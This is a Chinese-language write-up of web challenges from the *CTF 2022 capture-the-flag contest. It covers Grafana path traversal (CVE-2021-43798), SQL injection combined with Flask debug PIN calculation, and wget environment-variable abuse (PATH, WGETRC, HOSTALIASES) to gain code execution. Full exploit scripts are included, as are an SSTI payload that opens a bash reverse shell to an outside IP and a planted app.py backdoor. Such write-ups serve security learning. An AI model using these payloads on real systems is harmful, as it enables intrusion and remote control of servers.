文章目录

  • WEB
    • oh-my-grafana
    • oh-my-notepro
      • 坑点
    • oh-my-lotto
      • 非预期
        • PATH变量
        • WGETRC变量
    • oh-my-lotto-revenge
      • 非预期
        • WGETRC变量
        • 其他解法
      • 预期解
  • 个人赛WP
    • oh-my-grafana
    • babyweb
    • grey

WEB

oh-my-grafana

搜一下相关漏洞,CVE-2021-43798

尝试读取文件

/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db
/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false# default admin user, created on startup
admin_user = admin# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm

文件里面有默认账号密码

admin@localhost
5f989714e132c9b04d4807dafeb10ade

登陆后利用mysql直接查询

oh-my-notepro

考点:

flask pin计算

mysql load data特性

首先admin/admin登录

随便测试一下发现开启了debug模式,扫一下目录有/console路由

需要我们输入pin码即可进入交互式命令执行界面,接下来计算pin,我们需要得到信息:

- 服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
- modname 一般不变就是flask.app
- getattr(app, “name”, app.class.name)。python该值一般为Flask,值一般不变
- flask库下app.py的绝对路径。通过报错信息就会泄露该值。
- 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡
- 机器的id。对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup

那么通过报错信息我们可以得到路径:

/usr/local/lib/python3.8/site-packages/flask/app.py

之后通过测试发现存在sql注入

python2 sqlmap.py -r 1.txt --sql-shell

收集信息:

利用Mysql load data特性来读取文件

load data local infile '/etc/passwd' into table test fields terminated by '\n';

先创建一张表再将文件读入表内,这里利用堆叠注入来查询

import requests,random
session = requests.Session()
table_name  = "".join(random.sample('zyxwvutsrqponmlkjihgfedcba',5))
file = '/sys/class/net/eth0/address'
file = '/etc/machine-id'
file='/proc/self/cgroup'
payload1 = f'''1';create table {table_name}(name varchar(30000));load data  local infile "{file}" into table ctf.{table_name} FIELDS TERMINATED BY '\n';#'''
payload2 = f'''1' union select 1,2,3,4,(select GROUP_CONCAT(NAME) from ctf.{table_name})#'''
paramsGet1 = {"note_id":payload1}
paramsGet2 = {"note_id":payload2}
headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"}
cookies = {"session":"eyJjc3JmX3Rva2VuIjoiNjU5MmViODdhMjgwOGE4OTY0ZTRjMmU1Y2RlMWIxNGNiODM4MmNiNSIsInVzZXJuYW1lIjoiYWFhIn0.YlpeQg.VAhhSpogG4OT1bAytxIdRvyCxYk"}response1 = session.get("http://121.37.153.47:5002/view", params=paramsGet1, headers=headers, cookies=cookies)
response2 = session.get("http://121.37.153.47:5002/view", params=paramsGet2, headers=headers, cookies=cookies)
print(response2.text)

得到信息:

用户: ctf
mac地址:02:42:c0:a8:60:03->2485723357187
机器码:1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15

生成pin码:

#sha1
import hashlib
from itertools import chain
probably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]private_bits = ['2485723357187',#  /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就1,3):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup'1cc402dd0e11d5ae18db04a6de87223d70d75f5ccd3aa4d8c9583280141a99e0d8a2ec8d1a497231f5a614f27fbbdb15'#  /proc/self/cgroup
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

之后报错页面利用console执行命令即可

import os
os.system("/readflag")

坑点

  • 报错内容有

    result = db.session.execute(sql,params={"multi":True})
    

    可知此处表明存在堆叠注入的可能,猜测是MySQL的堆叠注入读取文件

  • Werkzeug的更新给pin码的计算方式带来了变化https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f,直接使用网上大多数的pin码计算方式并不能计算出当前环境下正确的pin码,主要有两个变化,一个是修改以前是读取/proc/self/cgroup、/etc/machine-id、/proc/sys/kernel/random/boot_id这三个文件,读取到一个文件的内容,直接返回,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接,使用拼接的值来计算pin码;二一个变化是h的计算从md5变为了使用sha1,所以计算pin码的POC也要进行相应的调整,此外输入正确的pin码以后大概率会出现404等错误,可以通过清理网站缓存然后开启一个新的无痕会话来解决这个问题。

oh-my-lotto

爆破一下md5:

# -*- coding: utf-8 -*-import multiprocessing
import hashlib
import random
import string
import sysCHARS = string.letters + string.digitsdef cmp_md5(substr, stop_event, str_len, start=0, size=20):global CHARSwhile not stop_event.is_set():rnds = ''.join(random.choice(CHARS) for _ in range(size))md5 = hashlib.md5(rnds)if md5.hexdigest()[start: start + str_len] == substr:print(rnds)stop_event.set()if __name__ == '__main__':substr = sys.argv[1].strip()start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len = len(substr)cpus = multiprocessing.cpu_count()stop_event = multiprocessing.Event()processes = [multiprocessing.Process(target=cmp_md5, args=(substr,stop_event, str_len, start_pos))for i in range(cpus)]for p in processes:p.start()for p in processes:p.join()

先审计代码:

docker-compose.yml

version: "3"
services:lotto:build:context: lotto/dockerfile: Dockerfilecontainer_name: "lotto"app:  build:context: app/dockerfile: Dockerfilelinks:- lottocontainer_name: "app"ports:- "8880:8080"

从这里可以知道题目结构,接下来看看路由

  • /result路由返回返回/app/lotto_result.txt文件内容
  • /forecast路由可以上传一个文件保存到/app/guess/forecast.txt
  • /lotto路由检查预测的值与环境随机生成的相等就能获得flag
from flask import Flask,render_template, request
import osapp = Flask(__name__, static_url_path='')def safe_check(s):if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return Falsereturn True@app.route("/", methods=['GET', 'POST'])
def index():return render_template('index.html')@app.route("/lotto", methods=['GET', 'POST'])
def lotto():message = ''if request.method == 'GET':return render_template('lotto.html')elif request.method == 'POST':flag = os.getenv('flag')lotto_key = request.form.get('lotto_key') or ''lotto_value = request.form.get('lotto_value') or ''try:lotto_key = lotto_key.upper()except Exception as e:print(e)message = 'Lotto Error!'return render_template('lotto.html', message=message)if safe_check(lotto_key):os.environ[lotto_key] = lotto_valuetry:os.system('wget --content-disposition -N lotto')if os.path.exists("/app/lotto_result.txt"):lotto_result = open("/app/lotto_result.txt", 'rb').read()else:lotto_result = 'result'if os.path.exists("/app/guess/forecast.txt"):forecast = open("/app/guess/forecast.txt", 'rb').read()else:forecast = 'forecast'if forecast == lotto_result:return flagelse:message = 'Sorry forecast failed, maybe lucky next time!'return render_template('lotto.html', message=message)except Exception as e:message = 'Lotto Error!'return render_template('lotto.html', message=message)else:message = 'NO NO NO, JUST LOTTO!'return render_template('lotto.html', message=message)@app.route("/forecast", methods=['GET', 'POST'])
def forecast():message = ''if request.method == 'GET':return render_template('forecast.html')elif request.method == 'POST':if 'file' not in request.files:message = 'Where is your forecast?'file = request.files['file']file.save('/app/guess/forecast.txt')message = "OK, I get your forecast. Let's Lotto!"return render_template('forecast.html', message=message)@app.route("/result", methods=['GET'])
def result():if os.path.exists("/app/lotto_result.txt"):lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()else:lotto_result = ''return render_template('result.html', message=lotto_result)if __name__ == "__main__":app.run(debug=True,host='0.0.0.0', port=8080)

其中lotto_result.txt是在内网的lotto页面生成

from flask import Flask, make_response
import secretsapp = Flask(__name__)@app.route("/")
def index():lotto = []for i in range(1, 20):n = str(secrets.randbelow(40))lotto.append(n)r = '\n'.join(lotto)response = make_response(r)response.headers['Content-Type'] = 'text/plain'response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'return responseif __name__ == "__main__":app.run(debug=True, host='0.0.0.0', port=80)

在进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),同时环境变量会经过safe_check函数检查。

def safe_check(s):if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: return Falsereturn True

一些常见的环境变量利用方法都已经被禁止。

非预期

PATH变量

首先获得一次lotto的结果,然后将这个结果作为forecast上传,利用PATH,将新的lotto_result.txt保存到其他路径,这样获取到的lotto就能与forecast相等,即可获得flag。

PATH变量用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是有执行权限。

也就是说,如果我们控制环境变量PATH,让他找不到wget,这样wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt当中的内容就一直是第一次访问,随机生成的那个值。

import requestsurl = "http://121.36.217.177:53002/"def lotto(key, value):data = {"lotto_key": key,"lotto_value": value}txt = requests.post(url + "lotto", data=data).textprint(txt)def getResult():txt = requests.get(url + "result").textp = txt.split("<p>")[-1].split("</p>")[0]return plotto("", "")
result = {"file": getResult()}
requests.post(url + "forecast", files=result)
lotto("PATH", "xxxx")
# *ctf{its_forecast_0R_GUNICORN}

WGETRC变量

利用WGETRC设置http_proxy代理到自己服务器,下载一个和forecast一样的文件,可以获得flag。

阅读文档:

https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Location

其中有两个重要的参数

output_document = fileSet the output filename—the same as ‘-O file’.
http_proxy = stringUse string as HTTP proxy, instead of the one specified in environment.

通过题目代码我们知道进行lotto猜测的时候可以运行输入一次环境变量,该环境变量会被传递给os.system('wget --content-disposition -N lotto'),也就是说我们可以通过http_proxy参数来设置代理,将我们的服务器作为一个中间人再下载一个和forecast一样的文件即可获得flag。

我们先做个实验:

可以发现代理服务器成功收到请求。

接下来我们的思路就清晰了:

先设置待上传的文件,内容为:

http_proxy = http://ip:39542

之后在服务器运行脚本,返回上传内容

from flask import Flask, make_responseapp = Flask(__name__)@app.route("/")
def index():lotto = "http_proxy = http://ip:39542"response = make_response(lotto)response.headers['Content-Type'] = 'text/plain'response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'return responseif __name__ == "__main__":app.run(debug=True, host='0.0.0.0', port=39542)

接下来上传文件,进入/lotto界面,设置环境变量

WGETRC
/app/guess/forecast.txt

运行即可得到flag,写个脚本:

import requestsdef shell():url = "http://xxx/"r = requests.post(url + "forecast",files={'file': open("C:\Users\cosmo\Desktop\res.txt", "rb")})data = {"lotto_key": "WGETRC","lotto_value": "/app/guess/forecast.txt"}r = requests.post(url + "lotto", data=data)print(r.text)if __name__ == '__main__':shell()

oh-my-lotto-revenge

相比上一题,该题预测成功后也没有flag返回

if forecast == lotto_result:return "You are right!But where is flag?"else:message = 'Sorry forecast failed, maybe lucky next time!'return render_template('lotto.html', message=message)

那么我们应该考虑如何进行RCE,同样先说一下非预期:

非预期

WGETRC变量

利用WGETRC配合http_proxyoutput_document,写入SSTI到templates目录,利用SSTI完成RCE。

我们知道WGETRC可以设置这两个参数

output_document = fileSet the output filename—the same as ‘-O file’.
http_proxy = stringUse string as HTTP proxy, instead of the one specified in environment.

output_document指定文件保存路径,那么我们可以通过覆盖index.html打SSTI即可。

控制上传文件:

http_proxy=http://ip:39542
output_document = templates/index.html

再控制返回内容,同样在服务器运行脚本返回如下payload即可:

{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/1.117.171.248/39543 0>&1').read()}}

最后脚本:

import requestsdef web():url = "http://1.117.171.248:8880/"r = requests.post(url + "forecast",files={'file': open("C:\\Users\\cosmo\\Desktop\\res.txt", "rb")})data = {"lotto_key": "WGETRC","lotto_value": "/app/guess/forecast.txt"}r = requests.post(url + "lotto", data=data)print(r.text)r = requests.get(url)if __name__ == '__main__':web()

其他解法

  • 利用WGETRC配合http_proxyoutput_document,覆盖本地的wget应用,然后利用wget完成RCE。

  • wget命令可以通过use_askpass参数执行可执行文件。但是use_askpass需要对应文件有可执行权限,直接通过设置output_document指定文件保存路径来覆盖bin目录下的文件,这样让代理服务器返回一个恶意文件,在保存到本地是也会继承bin目录下的可执行权限,最后通过指定use_askpass为覆盖的文件就可以rce。

  • 上传gconv-modules并利用GCONV_PATH

预期解

最后来康康出题人的预期解

通过翻阅Linux环境变量文档http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html在Network Settings中发现有HOSTALIASES可以设置shell的hosts加载文件

HOSTALIASES Filename for the host aliases file

利用/forecast路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto发向lotto的请求转发到自己的域名例如如下hosts文件:

# hosts
lotto mydomain.com

同时注意到wget请求添加了--content-disposition -N参数,说明请求的保存文件名将由服务方提供方指定的文件名决定,并可以覆盖原有的文件,那我们在自己的mydomain.com域名的80端口提供一个文件下载的功能,将返回文件名设置为app.py就可以覆盖当前题目的app.py文件:

from flask import Flask, request, make_response
import mimetypesapp = Flask(__name__)@app.route("/")
def index():r = '''
from flask import Flask,request
import osapp = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():a = request.args.get('a')a = os.popen(a)a = a.read()return str(a)if __name__ == "__main__":app.run(debug=True,host='0.0.0.0', port=8080)
'''response = make_response(r)response.headers['Content-Type'] = 'text/plain'response.headers['Content-Disposition'] = 'attachment; filename=app.py'return responseif __name__ == "__main__":app.run(debug=True,host='0.0.0.0', port=39542)

此时发现已经覆盖了题目的app.py,但并不能直接RCE,因为题目使用gunicorn部署,app.py在改变的情况下并不会实时加载。但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下:

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

最终worker重新加载app.py,就可以完成RCE了,读取flag即可。参考完整POC如下

# exp.pyimport requests
import os
import time
import subprocesss = requests.session()base_url = 'http://124.223.208.221:53000/'
url_upload = base_url + 'forecast'
proxies = {'http': 'http://127.0.0.1:8080'
}r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))})
print(r.text)url_env = base_url + 'lotto'
data = {'lotto_key': 'HOSTALIASES','lotto_value': '/app/guess/forecast.txt'
}
r = s.post(url=url_env, data=data)subprocess.Popen('./exploit.sh', shell=True)
# os.system('./exploit.sh')
for i in range(1, 53):print(i)time.sleep(1)while True:url_shell = base_url + 'test?a=env'print(url_shell)r = s.get(url_shell)print(r.text)if '*ctf' in r.text:print(r.text)break

当然这种方法和WGETRC变量的利用差异不大,综合来说方法很多,学到不少。

参考:

https://github.com/sixstars/starctf2022

https://y4tacker.github.io/2022/04/18/year/2022/4/2022-CTF-Web/#oh-my-notepro

https://blog.csdn.net/rfrder/article/details/110240245

https://paper.seebug.org/1112/

个人赛WP

oh-my-grafana

同上

babyweb

绕127.0.0.1,本地回环

http://[::]:8089/flag

grey

直接拖进stegsolve,调一下出现一半的flag

可能是图片不全,尝试一下爆破宽度高度

之后修改为正确的宽高即可

不对劲,可能少了一节,在最后

*CTF{Catch_m3_1F_y0u_cAn}

参考:

https://github.com/b3f0re-team/Write-up/blob/main/%E6%98%9FCTF/%E6%98%9FCTF%20of%20b3f0re%20%20%20.md

[*CTF2022]web题目复现及wp相关推荐

  1. 安恒11月赛Web题目复现

    考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好 手速要快 上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的 ...

  2. [MRCTF 2022]web题目复现

    文章目录 WEB webcheckin God_of_GPA 非预期 非预期1-夺舍bot 非预期2-oauth xss 非预期3-CSRF Tprint hurry_up BONUS Java_me ...

  3. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  4. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  5. ISCC web题复现

    前言 第一次参加ISCC线上赛,感觉题目质量还是挺好的,擂台赛都是大佬们的主场,向我这样的小白也只能学学新东西.在此总结做过的web题目以及相关知识点. 冬奥会 这是一道典型的代码审计.代码中需要满足 ...

  6. ✿ISCC2021✿题目以及部分wp

    文章目录 ISCC 部分web.杂项wp WEB ISCC客服一号冲冲冲(一) 这是啥 Web01 ISCC客服一号冲冲冲(二) 登录 misc 李华的红包 Retrieve_the_passcode ...

  7. 第十届极客大挑战——部分web和RE的WP

    第十届极客大挑战--部分web和RE的WP 昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp 这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,, 其他 ...

  8. ctf wav文件头损坏_【CTF入门第二篇】南邮CTF web题目总结

    这几天写了南邮的web题目,都比较基础,但是对我这个小白来说还是收获蛮大的.可以借此总结一下web题的类型 一,信息都藏在哪 作为ctf题目,肯定是要有些提示的,这些提示有时会在题目介绍里说有时也会隐 ...

  9. 中科大HackerGame2018 web题目 writeup

    虽然很坑,但是总体来说这次还是做了很多有意思的web题,这里也只给出web题的答案 一:签到题 打开发现是要输入key值提交 但是输入后发现限制了长度,只允许输入到hackergame201 打开bu ...

最新文章

  1. android interview 1
  2. SpringMVC(SSM)获取网页数据和传出数据的几种方式
  3. 线性回归中的前提假设
  4. golang的bytes.buffer
  5. 海南橡胶机器人成本_完成专利授权20余件!海南橡胶中橡科技搭建高标准研发平台...
  6. Mac Hadoop的安装与配置
  7. java中render用法_如何在React中不在render函数中使用setState
  8. 7-234 两个有序序列的中位数 (25 分)
  9. python对列求和_对单个列求和的最快方法
  10. 不限流量的物联卡是否真存在
  11. 通达OA11.0 补丁文件
  12. 去哪里学习行业知识?
  13. Flink(55):Flink高级特性之流式文件写入(Streaming File Sink)
  14. 彻底搞懂js中的this指向
  15. 2021黑金牛气冲天新年快乐通用PPT模板
  16. MySQL面试问题包含答案仅参考
  17. 多任务学习时转角遇到Bandit老虎机
  18. Web前端开发学习笔记(2)(css3新特性)
  19. cok服务器文件,前端开发之Node.js篇——搭建自己的网站服务器文件管理(一)...
  20. [2017-08-21]Abp系列——如何使用Abp插件机制(注册权限、菜单、路由)

热门文章

  1. Tesla Model S的设计失误
  2. 2019 最烂密码排行榜大曝光!网友:已中招
  3. 阿里云服务(三)—对象存储OSS和块存储
  4. PureMVC(AS3)剖析:实例
  5. gnome硬盘分析_使用Gnome磁盘工具轻松备份还原硬盘
  6. NRI的统计学意义与临床意义
  7. Android7 WIFI系统 PNO机制流程详解和隐藏BUG修改
  8. 港科夜闻|罗康锦教授获委任为香港科大工学院院长
  9. 计算机怎么样返回桌面,电脑如何快速返回桌面
  10. 线上卖家居股价却涨成妖股 Wayfair低位反弹能否继续拉升?